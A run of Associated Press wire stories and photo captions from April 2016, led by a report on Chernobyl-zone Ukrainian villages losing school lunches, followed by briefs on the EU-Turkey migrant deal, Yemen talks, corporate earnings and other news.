After the April 26, 1986, explosion and fire, the most heavily affected areas in Ukraine were classified into four zones. Residents from three of them were evacuated or allowed to volunteer for resettlement. But the village of Zalyshany, 53 kilometers (32 miles) southwest of the destroyed reactor, is in the fourth zone  not contaminated enough for resettlement but eligible for subsidies to help with health issues.

Ukraine's Institute of Agricultural Radiology says the most recent testing in the zone showed radiation levels in wild-grown food such as nuts, berries and mushrooms were two to five times higher than what is considered safe.

However, Ukraine's economy has since been weakened by separatist war in its eastern industrial heartland, endemic corruption and the loss of Crimea, which was annexed by Russia. Last year, the Ukrainian government, which is propped up by billions of dollars in loans from the United States, the European Union and the World Bank, cut off paying for school lunches in Zone 4. There are no official cost figures, but a typical price of about 20 hryvnia (80 U.S. cents) would put the program's funding at about $50 million a year.

"Hot meals in the schools were the only clean food, which was tested for radiation, for the children," teacher Natalya Stepanchuk said. "Now the children have gone over to the local food, over which there is absolutely no control."

In 2012, the government halted the monitoring of radioactive contamination of food and soil in Zone 4, which was called the "zone of strict radio-ecological control." The state has also cancelled a program for buying Ferocin, known as Prussian Blue, a substance farmers could give their cattle to hasten the elimination of the cesium-137 isotope. Without financial help, farmers in the area are unwilling to buy it on their own.

"The government spends huge funds for the treatment of the local population, but cannot put out a little money on prevention," said Valery Kashparov, head of the Ukrainian Institute of Agricultural Radiology. "I am ashamed to look people in the eye."

In the view of Vitaly Petruk, head of the agency that administers the "exclusion zones" closest to the Chernobyl plant, the decision on the school lunches came down to how best to use limited funds.

"What is better: to give all the money to people who have radiation sickness and save them, or split the money ... and give each of them four hryvnia (15 cents)?" he asked. "The idea was to focus on certain things, rather than dissipate energy and waste money."

This calculation means that many in the village of about 350 people go without food. And beyond Zalyshany, there are some 1,300 settlements in the zone where the lunches were cancelled. Even when the lunches were available, children were likely eating contaminated food when out of school.

Nine-year-old Olesya Petrova's mother is sick with cancer and can no longer work. Olesya hungrily awaits the coming of warm weather, when she can scour the woodlands for berries and other goodies.

In the meantime, she can hope that one of her classmates will slip her a sandwich. But in economically depressed Zalyshany, such largesse is fitful.

The lunch cancellations did not affect kindergartens, such as the one that's in the same building as the local school. The kindergarten's cook, Lyubov Shevchuk, sometimes slips the older children a little something.

"Children faint and fall. I try to at least give them some hot tea, or take from one child to give to another," she said.

With no government agency taking responsibility for feeding the schoolchildren, it's left to warmhearted efforts like Shevchuk's or to charities. An Italian group, Mondo in Cammino, took notice of the Zone 4 lunch cancellations and raised money to supply the 130 pupils in one village, Radynka, with a year's lunches at a cost of 15,000 euros ($17,000).

"We know that Ukraine is near default. They decided that these families were no longer children of Chernobyl," said the organization's director, Massimo Bonfatti.

The overall effects of radioactive fallout remain intensely debated. A United Nations report concluded that the additional radioactivity over a 20-year period was approximately equivalent to that of a CAT scan, because of higher levels of the long-lived cesium-137. Ausrele Kesminiene, a doctor with the World Health Organization, said there is little evidence associating radioactivity-contaminated food with cancers other than in the thyroid.

But a review compiled by the Greenpeace environmentalist group and published in March found scientific studies indicating children in areas contaminated like Zalyshany show much-reduced respiratory capacity. A European Union-funded study tracking 4,000 children for three years in contaminated areas also found cardiovascular insufficiencies in 81 percent of the children.

Yuri Bandazhevsky, a pediatrician who has studied the effect of small doses of radiation on the human body, said there are "very serious pathological processes" which can lead to defects of the cardiovascular system and cancer. Bandazhevsky, whose work is widely cited abroad, was imprisoned in his native Belarus for four years. Supporters allege it was due to his work on studying Chernobyl's consequences; he now works in Ukraine.

"With regret I have to state that nobody cares about this, and those hungry children are another proof of how authorities treat a population which suffers on these territories," he said.

Nadezhda Ivanchenko, whose grandson was monitored in the European Union study, agreed that the government seems callous. She brought the 10-year-old boy for examination at the hospital in the district center of Ivankiv. He shows advanced sinus arrhythmia of the heart.

"People get sick a lot, but neither children nor anyone here are needed. We were thrown away and forgotten," she said.

Olesya, the 9-year-old who now often has to go without lunch, wants to eventually become a doctor, so she can "treat everybody for radiation." But for right now, her desire is to fill her stomach with treats foraged from the woods.

"In the forest, you don't need money," she said. "There's all kinds of food that can feed everyone."

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Associated Press writers Jim Heintz in Moscow and Colleen Barry in Milan, Italy, contributed to this story.

In this photo taken on Tuesday, April 5, 2016, Olesya Petrova, 9, attends lessons in a school in Zalyshany, 53 km (32 miles) southwest of the destroyed reactor of the Chernobyl plant, Ukraine. Olesya Petrova hungrily awaits the coming of warm weather, when she can scour the woodlands outside her village for berries and other goodies that can help make up for her canceled school lunch program. But the forest treats carry an invisible danger, her village is in one of the sections of Ukraine contaminated by radioactive fallout from the Chernobyl nuclear explosion. (AP Photo/Mstyslav Chernov)

In this photo taken on Tuesday, April 5, 2016, Viktoria Vetrova, with her children, Bogdan, center, and Kolya, right, goes home after milking a cow in Zalyshany, 53 km (32 miles) southwest of the destroyed reactor of the Chernobyl plant, Ukraine. Viktoria Vetrova, a housewife, keeps two cows in order to help feed her four children. Vetrovas 8-year-old son Bogdan suffers from an enlarged thyroid, a condition which studies have linked to radioactivity. (AP Photo/Mstyslav Chernov)

In this photo taken on Tuesday, April 5, 2016, Viktoria Vetrova holds a jar with fresh cow milk, believed to be radioactive, in her house, with her mother Tatiana Vetrova sitting in the back, in Zalyshany, 53 km (32 miles) southwest of the destroyed reactor of the Chernobyl plant, Ukraine. Viktoria Vetrova, a housewife, keeps two cows in order to help feed her four children. Her village is in one of the sections of Ukraine contaminated by radioactive fallout from the Chernobyl nuclear explosion. (AP Photo/Mstyslav Chernov)

In this photo taken on Thursday, April 7, 2016, a radiation dosimeter measures radiation showing slightly increased levels in abandoned cow farm near Zalyshany, Ukraine. After the April 26, 1986 explosion and fire spewed radioactive fallout over much of Ukraine, the most heavily affected areas were classified into four zones. Zalyshany, 53 kilometers (32 miles) southwest of the destroyed reactor, is in the fourth zone, not contaminated enough for resettlement but eligible for subsidies to help with health issues. (AP Photo/Mstyslav Chernov)

In this photo taken on Thursday, April 7, 2016, a man fishes in a river near Ivankiv, Ukraine. After the April 26, 1986 explosion and fire spewed radioactive fallout over much of Ukraine, the most heavily affected areas were classified into four zones. (AP Photo/Mstyslav Chernov)

In this photo taken on Tuesday, April 5, 2016, former fireman Volodymir, 50, right, and his friend Andryi, 44, have lunch with food placed on a piece of wood taken from a local forest, believed still to be contaminated by fallout from the world's worst nuclear accident, near Zalyshany, 53 km (32 miles) southwest of the destroyed reactor of the Chernobyl plant, Ukraine. After the April 26, 1986 explosion and fire spewed radioactive fallout over much of Ukraine, the most heavily affected areas were classified into four zones. In 2012, the government halted the monitoring of radioactive contamination of food and soil in Zone 4, Zalyshany. (AP Photo/Mstyslav Chernov)

In this photo taken on Thursday, April 7, 2016, one of abandoned houses in Karpylivka, Ukraine. Karpylivka is one of the nearest villages to the destroyed reactor of the Chernobyl plant and has very few inhabitants. After the April 26, 1986 explosion and fire spewed radioactive fallout over much of Ukraine, the most heavily affected areas were classified into four zones, from three of which residents were evacuated or allowed to volunteer for resettlement. (AP Photo/Mstyslav Chernov)

In this photo taken on Tuesday, April 5, 2016, kindergarten's cook Lyubov Shevchuk sits at the empty table of a canteen, where children used to have lunch before it was canceled, in Zalyshany, 53 km (32 miles) southwest of the destroyed reactor of the Chernobyl plant, Ukraine. After the April 26, 1986 explosion and fire spewed radioactive fallout over much of Ukraine, the most heavily affected areas were classified into four zones. Last year, as the national economy deteriorated sharply, the government cut off paying for school lunches for children living in the fourth zone, not contaminated enough for resettlement but eligible for subsidies to help with health issues. (AP Photo/Mstyslav Chernov)

In this photo taken on Tuesday, April 5, 2016, teacher Natalya Stepanchuk, background center, reads, while children write during a lesson in a school in Zalyshany, 53 km (32 miles) southwest of the destroyed reactor of the Chernobyl plant, Ukraine. After the April 26, 1986 explosion and fire spewed radioactive fallout over much of Ukraine, the most heavily affected areas were classified into four zones. Last year, as the national economy deteriorated sharply, the government cut off paying for school lunches for children living in the fourth zone, not contaminated enough for resettlement but eligible for subsidies to help with health issues. (AP Photo/Mstyslav Chernov)

In this photo taken on Thursday, April 7, 2016, children ride bicycles in the village of Pysky, Ukraine. After the April 26, 1986 explosion and fire spewed radioactive fallout over much of Ukraine, the most heavily affected areas were classified into four zones, from three of which residents were evacuated or allowed to volunteer for resettlement. (AP Photo/Mstyslav Chernov)
German, EU leaders heading to Turkey to promote migrant deal

BRUSSELS (AP)  German Chancellor Angela Merkel and top European Union officials plan to travel close to Turkey's border with Syria in hopes of promoting a troubled month-old agreement to manage a refugee crisis that has left hundreds of thousands stranded on the migrant trail to Europe.

Saturday's trip to the Turkish border city of Gaziantep, which is expected to include a visit to a refugee camp, comes amid questions over the legality of the March 20 agreement between the EU and Turkey to start deporting migrants who do not qualify for asylum in Greece back to Turkey.

The EU has pledged up to 6 billion euros ($6.8 billion) in aid to Turkey over the next four years to ease conditions and create opportunities for the estimated 2.7 million Syrian refugees living in Turkey.

FILE - In this Wednesday, March 16, 2016 file photo a Turkish flag flies at the refugee camp for Syrian refugees in Islahiye, Gaziantep province, southeastern Turkey. German Chancellor Angela Merkel and top European Union officials plan to travel close to Turkeys border with Syria in hopes of promoting a troubled month-old agreement to manage a refugee crisis that has left hundreds of thousands stranded on the migrant trail to Europe. (AP Photo/Lefteris Pitarakis, File)

But a month after the agreement was signed, few EU experts have arrived in the field and many EU nations are dragging their heels on accepting more asylum-seekers. Diplomatic tussles loom over Turkey's demands for visa-free EU travel for Turkish citizens.

In an effort to persuade European and Turkish citizens of the deal's merits, Merkel, EU Council President Donald Tusk, EU Commission Vice President Frans Timmermans and Turkish Prime Minister Ahmet Davutoglu plan to gather in Gaziantep across the border from the Syrian cities of Aleppo and Kobane, epicenters for years of civil war that have abated since a shaky February cease-fire agreement.

The U.N. refugee agency, rights groups and EU lawmakers have roundly criticized the EU-Turkey migrant deal over the legal and moral implications of expelling people from EU member Greece back to Turkey, a country that many consider unsafe on security and human rights grounds. Merkel has found herself in a particular bind, backing the deal even as Turkish President Recep Tayyip Erdogan uses an arcane law to sue a German comedian for mocking him.

The 47-nation Council of Europe, a human rights body that is not part of the EU, passed a resolution Wednesday criticizing the EU-Turkey deal for what it called "several serious human rights issues."

Not far from Gaziantep, Turkish authorities have been expelling around 100 Syrians almost daily back to their war-ravaged homeland for the past three months, according to rights group Amnesty International. Ankara insists that it does not deport Syrians and also rejects reports that border guards have opened fire at Syrians seeking entry into Turkey.

"There is no photo-op that can obscure the deep flaws in the EU-Turkey deal," said John Dalhuisen, Amnesty International's director for Europe and Central Asia.

He said Merkel should seek "cast-iron guarantees that Turkish authorities will stop sending refugees back to their countries of origin."

Only about 10 percent of Turkey's refugees are sheltered in camps. The rest primarily fend for themselves in towns and cities.

The European Commission says the number of migrants arriving in Greece from Turkey has slowed dramatically from more than 50,000 in February to around 7,000 over the past 30 days. But Greece, currently home to 54,000 stranded migrants seeking to travel deeper into Europe, faces unrelenting pressure as the long-promised relocation of asylum seekers from Greece to other EU countries moves pitifully slowly.

When Pope Francis took a dozen Syrians to the Vatican from the island of Lesbos last weekend, he effectively relocated more refugees from Greece than more than a dozen EU countries have managed since September under an earlier European plan to share responsibility for 160,000 refugees in Greece and Italy.

Since last month's pact, 325 migrants in Greece have been returned to Turkey, only two of them Syrians. In the other direction, 103 Syrians have been delivered from Turkey to Europe.

The EU's border agency Frontex requested 1,550 reinforcements a month ago to help police the deal, but so far just 340 officers and experts have been deployed. The EU's asylum agency requested almost 900 officers and interpreters, but only 130 have been sent.

Legal issues remain unresolved. While Turkey has upgraded human rights protections for Syrians returned from Greece, it has yet to offer the same guarantees to the much more numerous Afghans, Iraqis and Eritreans who are being returned from Greece and could qualify for the same protection under international asylum laws.

EU nations and the European Commission have made some 2.6 billion euros available so far. Once the 3 billion mark is reached, and if that money is spent in accordance with the agreement, a further 3 billion euros could be provided in 2018. So far, the main payments in March have been 40 million euros to the World Food Program for six months' worth of meals in refugee camps, and 37 million euros to UNICEF to support school enrollment for refugee children.

Part of the EU fund is being used to try to ensure that all 850,000 school-aged children are enrolled in schools in September, a senior Turkish official said. Currently only 330,000 are in school.

Turkey's leaders are warning that the whole deal will collapse if the EU fails to grant Turkish citizens the right to visa-free stays for tourism or business purposes by July.

The agreement stipulates that Turkey must meet 72 conditions by May 4 to earn the visa waiver. So far it has fulfilled about half. EU officials say Ankara is making good progress but suggest that all conditions might not be fulfilled on time, including upgrading Turkey's visa system and bringing its data protection laws into line with EU standards.

"If the European Union does not take the steps it needs to take, if it does not fulfill its pledges, then Turkey won't implement this agreement," Erdogan warned earlier this month.

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Soguel reported from Istanbul. Associated Press reporter Suzan Fraser in Ankara, Turkey, contributed to this story.

FILE - This is a Wednesday, March 16, 2016 file photo of Syrian refugee Abdullah Koca, 43, who fled Syria four-years ago and had been living at a refugee camp for Syrian refugees in Islahiye, Gaziantep province, southeastern Turkey, holds his six-month-old son Ibrahim and his daughter Hadiyeh, 6, as they check the family pet bird suspended in a cage at the barbed-wired fence of the camp. German Chancellor Angela Merkel and top European Union officials plan to travel close to Turkeys border with Syria in hopes of promoting a troubled month-old agreement to manage a refugee crisis that has left hundreds of thousands stranded on the migrant trail to Europe. (AP Photo/Lefteris Pitarakis, File)
Moscow defends ruling to suspend Tatar legislature in Crimea

MOSCOW (AP)  A spokesman for President Vladimir Putin has rejected U.S. criticism about a recent decision to suspend a Crimean Tatar legislative body.

The Russian justice ministry earlier this week suspended the Tatar Mejlis after listing it as an extremist organization. There's a trial now underway in Russia-occupied Crimea which could result in banning the Mejlis indefinitely.

The Tatar minority strongly opposed the 2014 annexation of Ukraine's Crimean peninsula which came after a hastily called referendum.
French minister says Paris meeting for Mideast peace needed

PARIS (AP)  The French foreign minister has confirmed that Paris will host an international meeting on May 30 to try to restart peace efforts between Palestinians and Israel  even though both sides will be absent.

Jean-Marc Ayrault said on Friday Arab nations will be among the 20 countries present, but "for the moment there is no dialogue" between Israel and the Palestinians.

Ayrault, speaking on Europe 1 radio, said new efforts are needed because "we are witnessing desperation, and desperation leads to violence."

France has pushed to play a larger role in Middle East peace efforts, dominated by the United States.

"I think we must unify our efforts," Ayrault said. Still, he added without elaboration his hope that "before the end of his mandate (President Barack) Obama will take an initiative."

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UN envoy says Yemen peace talks in Kuwait to go on

KUWAIT CITY (AP)  The United Nations envoy overseeing Yemen's peace talks said Friday that negotiations would go on, with both sides seeking an end to the fighting.

Ismail Ould Cheikh Ahmed also said there was no plan to move the talks, which were held Thursday and Friday in Kuwait City's Bayan Palace, to Saudi Arabia or elsewhere. He said the talks would become more specific in the future, signaling that this round of negotiations likely was over.

"All stakeholders express their eagerness to implement a (fuller) cease-fire, including the Saudi side," Ahmed told journalists at a rowdy news conference. "There are many loopholes, however, and we are working on reaching an agreement from all parties in that regard."

This Thursday, April 21, 2016 photo released by KUNA, Kuwait's state news agency shows Acting Prime Minister and Foreign Minister Sheikh Sabah Khaled Al-Hamad Al-Sabah, center, at Yemen talks in Kuwait City. The talks are between Yemen's internationally-recognized government, which is backed by a Saudi-led military coalition, and Shiite rebels known Houthis and their allies, who hold the capital, Sanaa.(Amiri Diwan, KUNA via AP)

Ahmed did not elaborate. Both sides in the fighting have violated a fragile cease-fire that began April 10.

A Saudi-led, U.S.-backed coalition supporting Yemen's internationally recognized government is battling Shiite rebels known as Houthis and their allies.

The Houthis have held Yemen's capital, Sanaa, since September 2014, and their advance across the Arab world's poorest country brought the Saudi-led coalition into the war in March 2015.

In over a year since, the war has killed nearly 9,000 people  a third of them civilians, according to the U.N.

Airstrikes account for 60 percent of the civilians killed in the conflict, according to a Jan. 26 U.N. report. The world body has criticized coalition strikes that have hit markets, clinics and hospitals.

The war has taken on regional implications, as Sunni-ruled Saudi Arabia accuses regional Shiite rival Iran of arming and training the Houthis. Iran says it only provides the rebels with political support, though the U.S. Navy says its sailors and allies have seized weapons heading for Yemen from Iran. The Houthis themselves have tried to distance themselves from Iran.

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Associated Press writer Jon Gambrell in Dubai, United Arab Emirates, contributed to this report.
International Red Cross workers freed in north Mali

BAMAKO, Mali (AP)  Islamic extremists in northern Mali freed three staffers with the International Committee of the Red Cross they had kidnapped last week, a spokesman for the organization said Friday.

The staffers were freed early Friday, said Valery Mbaoh Nana, international Red Cross spokesman in Bamako, Mali's capital, with the aid of local notables.

"Our colleagues were freed without condition," he said.

The staffers were originally kidnapped by the jihadi Ansar Dine group on Saturday, said a member of a Tuareg separatist group in contact with the kidnappers.

The Red Cross team had earlier been stopped by French soldiers near the village Abeibara where they were distributing water and their guide and his assistant were detained, he explained. The staffers were allowed to continue.

The jihadis then kidnapped the Red Cross staffers near Kidal, insisting the guide and his apprentice be released, said the separatist who spoke on condition of anonymity because of the sensitivity of the situation.

The Red Cross didn't disclose their staffers' nationalities, but said they were all African.

Nana said that International Red Cross staff have visited the guide and his assistant in prison, and took a note they wrote to their families. "It's difficult to know if someone was a jihadi or not," he said, adding that the guide was chosen by his community.

Ansar Dine is led by a Tuareg, Iyad Ag Ghali, a native of the Kidal region. The extremist group emerged in 2012 as a religious alternative to the largely secular Tuareg separatists operating in northern Mali.
Polish historian hopes crumbling bunker hides Amber Room

WARSAW, Poland (AP)  A historian in northeastern Poland says the moss-covered ruins of a German World War II bunker may hide Russia's precious Amber Room, a national treasure that went missing during the war.

The 18th-century Amber Room, made of amber panels and gold leaf, was fitted into Russia's Catherine Palace near St. Petersburg, where it remained until it was looted by Germany's Nazis in 1941.

Tests in September by earth-penetrating radar in the woods near the Polish village of Mamerki suggest there's a small room at the base of a bunker that was the German army's wartime headquarters, according to the head of Mamerki Museum, Bartlomiej Plebanczyk.

The bunker is located about 100 kilometers (62 miles) from Russia's Kaliningrad region  which was the German region of Koenigsberg during the war and where the Nazis brought the Amber Room in 1941.

Plebanczyk told TVN24 on Friday that he is "almost certain" that the crumbling concrete bunker hides the Russian treasure. He has informed local Polish authorities in the town of Wegorzewo, who will now decide what to do.

Wegorzewo Deputy Mayor Andrzej Lachowicz told TVN24 authorities will try to see what's in the bunker.

"If not the Amber Room, then maybe some other treasure," Lachowicz said.

The British heavily bombed Koenigsberg in 1944. The current whereabouts of the Amber Room is unknown. In a project that took decades, Russian authorities reconstructed a replica of the Amber Room at the same palace.

According to Plebanczyk, a resident claimed right after the war that he saw German trucks bring heavy cases to the bunker. In the 1960s, residents said they saw a top Nazi, Erich Koch, brought to the site from a Polish prison where he was jailed for wartime crimes. Koch was a top official in Koenigsberg until 1945 and authorities believed he knew the treasure's whereabouts, Plebanczyk told The Associated Press.

Last year, other Polish explorers said they had located another Nazi German treasure: a gold train that reportedly went missing at the end of the war in Walbrzych, in what is now southwestern Poland. Some search work was done but no train has been found so far. The search has attracted thousands of tourists to the region.

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Police: Teen shot by officer had taken out replica gun

WILMINGTON, Del. (AP)  Police in Delaware say a 17-year-old boy who was shot in the knee after a foot chase pointed a replica gun at an officer before being shot.

Wilmington police say in a news release that officers were called Thursday evening for a report of a man with a gun. Police say they pursued a teen suspect who tripped and then took what looked like a weapon from his waistband when confronted by officers.

Police say one officer shot the teen in the right knee. The officer's partner was then able to take the teen into custody. Police say the teen, whose name was not released, will be charged with aggravated menacing and resisting arrest.
China: Can't sue Cabinet-level agency over Chinese drywall

NEW ORLEANS (AP)  China's Ministry of Justice has sent back a lawsuit in which thousands of U.S. homeowners say a Cabinet-level agency should pay for damage to their homes from defective drywall made in China.

The ministry says it won't serve the legal papers because the agency is immune to such lawsuits and the legal service would infringe on China's sovereignty.

U.S. District Judge Eldon Fallon has ruled that Taishan Gypsum Co. Ltd. must pay for damages from the drywall it made. He's considering damages for as many as 4,000 homeowners in six states.

The brief letter from Beijing became part of the court record this week, about 21 months after lawyers for the homeowners sued the State-Owned Assets Supervision and Administration Commission, which oversees 117 state-owned companies. It was dated April 8.

An attorney for the homeowners did not immediately respond to a request for comment emailed Thursday.

Fallon ruled in 2010 that Taishan's drywall emitted sulfur gas that damaged the homes of seven "bellwether" plaintiffs from Virginia, making occupants ill, corroding copper, silver and other metals, damaging appliances and electronics, and stinking up the houses so they were "hard if not impossible to live in."

All the drywall, wiring, copper pipes, insulation, and heating, ventilation and air-conditioning units in each house, most electronics and appliances, and all hardwood or vinyl flooring had to be replaced, he ruled.
Donatella Versace reacts to death of friend, Prince

MILAN (AP)  Italian fashion designer Donatella Versace says she's mourning the death of Prince, one of her closest friends, who has died after collapsing in an elevator at his recording studio complex in suburban Minneapolis.

Versace said in a statement Friday that all the memories they shared are coming back to her, including a time they rented a club for just the two of them, listened to music and spoke about the younger generation.

Versace says she hopes younger musicians will follow the example Prince set, to "respect their own soul and never trade their own individuality." She says that's what made Prince outstanding and relevant forever.
GE sees dip in 1Q profit, but industrial revenue rises

NEW YORK (AP)  General Electric Co. reported a slight decrease in its core quarterly profit as the company continues to shed and distance itself from its finance and capital businesses.

The company earned $1.93 billion, or 21 cents per share, down 2 percent from $1.97 billion, or 20 cents per share, a year prior. The figures include only the conglomerate's industrial businesses. The Fairfield, Connecticut-based company has been shedding its financial and capital units over the last few years in an effort to slim down and refocus on its core businesses.

Overall for the period, the company lost $98 million, or 1 cent per share, including costs associated with its financial units.

FILE - In this Thursday, Jan. 16, 2014, file photo, a General Electric logo is displayed at a store in Cranberry Township, Pa. On Friday, April 22, 2016, General Electric reported a slight decrease in its core quarterly profit as the company continues to shed and distance itself from its finance and capital businesses. (AP Photo/Gene J. Puskar, File)

Revenue from industrial segments rose 6 percent to $25.87 billion. The company's power unit, which makes power generation technology, saw revenue rise 13 percent to $5.2 billion, while renewable energy products rose 62 percent to $1.67 billion. Revenue from its aviation segment rose 10 percent to $6.26 billion.

GE has jettisoned most of its financial services units as part of its restructuring move. Last year, it negotiated sales totaling $157 billion as part of the effort. At the same time, it is beefing up its industrial core. It closed a $10.6 billion buyout of French manufacturer Alstom in November of 2015.

Looking ahead, GE expects full-year earnings in the range of $1.45 to $1.55 per share.

GE shares fell 58 cents, or 1.9 percent, to $30.40 in morning trading. They have risen 13 percent in the last 12 months.

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Elements of this story were generated by Automated Insights (http://automatedinsights.com/ap) using data from Zacks Investment Research. Access a Zacks stock report on GE at http://www.zacks.com/ap/GE

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Southern Balkan states agree to work together on immigration

ATHENS, Greece (AP)  Foreign ministers of Greece, Macedonia, Albania and Bulgaria said Friday they will work to improve coordination along southern Europe's migrant trial.

"Still today, activists, NGOs and human smugglers are cooperating across borders in an easier manner than state institutions do," Macedonian Foreign Minister Nikola Poposki said following the two-day talks in Thessaloniki.

"I think that one of the messages we are sending from this meeting is that we are going to coordinate our efforts, we are going to try to avoid having solutions that are going to be at the expense of only one country," Poposki added. "We have to send a message that (the) road to the Balkans, for the migrants, is not going to see the same evolution as it has seen at 2015."

A Greek policeman walks past tents of a makeshift camp crowded by migrants and refugees at the northern Greek border point of Idomeni, Greece, Friday, April 22, 2016. Greece, currently home to 54,000 stranded migrants seeking to travel deeper into Europe, faces unrelenting pressure as the long-promised relocation of asylum seekers from Greece to other EU countries moves pitifully slowly. (AP Photo/Gregorio Borgia)

More than a million refugees and other migrants, who arrived on the Greek islands in smugglers' boats from Turkey, passed through Greece to Macedonia and other countries on the western Balkan corridor since the beginning of 2015, on their way to Europe's prosperous heartland.

But the route closed this year, as a crackdown by Austrian authorities had a domino effect all the way to Macedonia's border with Greece, leaving more than 50,000 people stranded on the Greek side  including about 10,000 at the closed border crossing of Idomeni.

The border closure, and repeated efforts by migrants on the Greek side to force their way into Macedonia, prompted tension between the two governments: Macedonia accused Greece of doing nothing to stop the attempts, and Greece complained of heavy-handed Macedonian police tactics. The two neighbors have been at odds for decades over Macedonia's official name, which Athens says should be altered to imply no claims on the neighboring Greek province of Macedonia.

"Foreign policy must overcome problems, and solve them through negotiations," Greek Foreign Minister Nikos Kotzias said. The four neighbors agreed that special action is needed in responding to vulnerable groups of migrants, such as unaccompanied minors, and to work together more closely on fighting human trafficking.

Earlier Friday, Greece's prime minister criticized Turkey for preventing a NATO force in the Aegean Sea from expanding its activities further south.

NATO has deployed ships in the northern Aegean to help combat migrant smugglers but has not deployed in the southern Aegean area. Greece says this is because Turkey objects, considering it to be a demilitarized area.

Alexis Tsipras also said Turkey has increased airspace violations in the Aegean with its fighter jets, and that Greece "will not accept or tolerate any actions which violate or dispute our sovereign rights."

Tsipas spoke after a meeting in Athens with NATO Secretary General Jens Stoltenberg.

Greek policemen walk past the tracks of a train station turned into a makeshift camp crowded by migrants and refugees at the northern Greek border point of Idomeni, Greece, Friday, April 22, 2016. Greece, currently home to 54,000 stranded migrants seeking to travel deeper into Europe, faces unrelenting pressure as the long-promised relocation of asylum seekers from Greece to other EU countries moves pitifully slowly. (AP Photo/Gregorio Borgia)

Migrants and refugees walk past rail tracks at the northern Greek border point of Idomeni, Greece, Friday, April 22, 2016. Greece, currently home to 54,000 stranded migrants seeking to travel deeper into Europe, faces unrelenting pressure as the long-promised relocation of asylum seekers from Greece to other EU countries moves pitifully slowly. (AP Photo/Gregorio Borgia)

Greek policemen walk past the tracks of a train station turned into a makeshift camp crowded by migrants and refugees at the northern Greek border point of Idomeni, Greece, Friday, April 22, 2016. Greece, currently home to 54,000 stranded migrants seeking to travel deeper into Europe, faces unrelenting pressure as the long-promised relocation of asylum seekers from Greece to other EU countries moves pitifully slowly. (AP Photo/Gregorio Borgia)

Greece's Prime Minister Alexis Tsipras, left, welcomes NATO Secretary-General Jens Stoltenberg before their meeting at Maximos Mansion in Athens, Friday, April 22, 2016. Efforts to stem the tide of migrants seeking the shores of Europe are working, Stoltenberg said Thursday. (AP Photo/Thanassis Stavrakis)

Ali Abdud holds his cat Taboush that he brought from Damascus at the northern Greek border point of Idomeni, Greece, Friday, April 22, 2016. Many thousands of migrants remain at the Greek border with Macedonia, hoping that the border crossing will reopen, allowing them to move north into central Europe. (AP Photo/Gregorio Borgia)

Migrants and refugees gather for food distributed at a makeshift camp at the northern Greek border point of Idomeni, Greece, Friday, April 22, 2016. Many thousands of migrants remain at the Greek border with Macedonia, hoping that the border crossing will reopen, allowing them to move north into central Europe. (AP Photo/Gregorio Borgia)

Children stand in front of a border fence near a makeshift camp at the northern Greek border point of Idomeni, Greece, Friday, April 22, 2016. Many thousands of migrants remain at the Greek border with Macedonia, hoping that the border crossing will reopen, allowing them to move north into central Europe. (AP Photo/Gregorio Borgia)

Migrants and refugees sit on the tacks of a railway station turned into a makeshift camp at the northern Greek border point of Idomeni, Greece, Friday, April 22, 2016. Many thousands of migrants remain at the Greek border with Macedonia, hoping that the border crossing will reopen, allowing them to move north into central Europe. (AP Photo/Gregorio Borgia)

Ali Abdud holds his cat Taboush that he has brought from Damascus, as he sits near his tent at the northern Greek border point of Idomeni, Greece, Friday, April 22, 2016. Many thousands of migrants remain at the Greek border with Macedonia, hoping that the border crossing will reopen, allowing them to move north into central Europe. (AP Photo/Gregorio Borgia)

Children play in a makeshift camp at the northern Greek border point of Idomeni, Greece, Friday, April 22, 2016. Many thousands of migrants remain at the Greek border with Macedonia, hoping that the border crossing will reopen, allowing them to move north into central Europe. (AP Photo/Gregorio Borgia)
Judge overturns dying inmate's conviction in wife's death

TOLEDO, Ohio (AP)  A judge has tossed out the conviction of an inmate with terminal cancer who has been in prison the last two decades in the killing of his wife who was beaten death in their bedroom.

The decision ordering a new trial for 78-year-old James Parsons determined prosecutors withheld evidence that would have helped his case at trial.

Parsons, who has leukemia, congestive heart disease and dementia, could be released as early as Monday and moved to a nursing home near Norwalk in northern Ohio near where he and his wife had lived.

"I just want to hug him and say it's finally over. I want to see a smile on his face," said Sherry Parsons, the youngest of his two daughters. "My hope is he understands."

Huron County Prosecutor Daivia Kasper, who was not involved with the original case, said Friday she will appeal the ruling.

"I think the judge's decision was wrong factually and legally," she said.

Parsons' wife, Barbara, was killed in 1981 after being struck 15 times in the head with a heavy object.

Authorities investigated Parsons right away, but there was nothing connecting him to the killing initially. He said he was at his auto shop at the time his wife was attacked.

Parsons, who built and raced cars, wasn't arrested until 1993 after a new detective took over the case.

Prosecutors used blood stain analysis to get the conviction, said Donald Caster, an attorney with the Ohio Innocence Project.

But he said the forensic scientist with the Ohio Bureau of Criminal Identification and Investigation who conducted the analysis had been removed from her laboratory just before the trial over concerns about her work.

Caster said prosecutors knew about that and should have turned over the forensic scientist's personnel file to Parsons' defense attorney.

A supervisor's note in the personnel file, according to the judge's decision, said the crime lab employee was having trouble at work and that her "findings and conclusions regarding evidence may be suspect. She will stretch the truth to satisfy a department."

The ruling issued Thursday also noted there were questions about her testimony and failure to document her work.

The combined concerns cast "grave doubts about her credibility," wrote Judge Thomas Pokorny, a retired judge from Cuyahoga County.

Parsons' daughter said on Friday that her father doesn't yet know about the ruling allowing to be released.

Her sister planned to tell him over the weekend. What they don't know is whether he will understand.

His dementia is in the early stages and he also has trouble hearing. He was thought to be near death earlier this year and was placed in a hospice unit, but he improved enough to be moved to another area of a prison hospital in Columbus, said Sherry Parsons.
American Airlines earns $700 million, beats Street forecasts

FORT WORTH, Texas (AP)  Airlines have saved billions in the past two years from falling oil prices, but cheaper jet fuel also seems to be contributing to lower fares, which pleases passengers but worries investors.

American Airlines is the latest case in point. The world's biggest airline reported a $700 million first-quarter profit on Friday, beating Wall Street expectations.

A conference call with investors was dominated, however, by questions about a statistic indicating that average fares are still dropping and that American's revenue this summer could be weaker than last summer.

FILE - In this Jan. 25, 2016, file photo, a passenger talks on the phone as American Airlines jets sit parked at their gates at Washington's Ronald Reagan National Airport. American reports financial results on Friday, April 22, 2016. (AP Photo/Susan Walsh, File)

The results mirrored those from United Airlines on Thursday, and airline stocks slumped Friday for a second straight session.

Cheaper fuel encouraged airlines to add flights that would have lost money back when oil was $100 a barrel. Since early 2015, the supply of seats has overshot travel demand, causing average fares to fall.

American doesn't disclose the average ticket price, but the downward trend shows up in the amount that the airline gets paid per mile for each seat, a figure that is closely monitored by airline investors.

